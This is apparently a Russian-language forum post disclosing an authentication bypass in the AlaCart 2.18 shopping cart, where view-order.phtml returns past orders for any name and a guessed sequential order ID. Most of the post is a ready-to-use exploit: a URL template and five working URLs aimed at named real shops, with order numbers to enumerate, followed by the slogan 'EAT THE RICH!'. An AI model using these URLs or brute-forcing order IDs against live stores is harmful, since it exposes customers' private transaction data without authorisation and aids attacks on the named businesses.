Уязвимость в системе AlaCart Version 2.18

Мною обнаружена уязвимость в системе AlaCart Version 2.18

Application: Alabanza AlaCart Shopping Cart
Problem-Type: удаленная
Vulnerability: просмотр информации о транзакциях.
Vendor: alabanza.com
Risk: низкий

Exploit:

http://www.xxx.com/s-cart/view-order.phtml?f_strFirstName=[любые символы]&f_strLastName=[любые символы]&f_intOrderID= [номер транзакции]

Файл view-order.phtml позволяет просмотривать информацию о проведенных ранее транзакциях магазина, минуя ввод пароля/логина администратора. Номер транзакции подбирается обычным перебором 1,2,3...121 и так далее. В случае отсутствия записи о имеющейся транзакции, ответ сервера:

Order #135 could not be found or does not exist.

Пример:

http://alacart.metapros.net/s-cart/view-order.phtml?f_strFirstName=Jeff&f_strLastName=Daggs&f_intOrderID=135

Пример уязвимости:

http://notebookmaker.com/s-cart/view-order.phtml?f_strFirstName=aaa&f_strLastName=aaaa&f_intOrderID=129
http://kingfishtackle.com/s-cart/view-order.phtml?f_strFirstName=bbb&f_strLastName=bbb&f_intOrderID=163
http://www.arsenaltraining.com/s-cart/view-order.phtml?f_strFirstName=durito&f_strLastName=durito&f_intOrderID=134
http://lightlens.com/s-cart/view-order.phtml?f_strFirstName=333&f_strLastName=333&f_intOrderID=121
http://www.asbp.org/s-cart/view-order.phtml?f_strFirstName=444&f_strLastName=444&f_intOrderID=121

Твой bug Durito.
_________________
EAT THE RICH!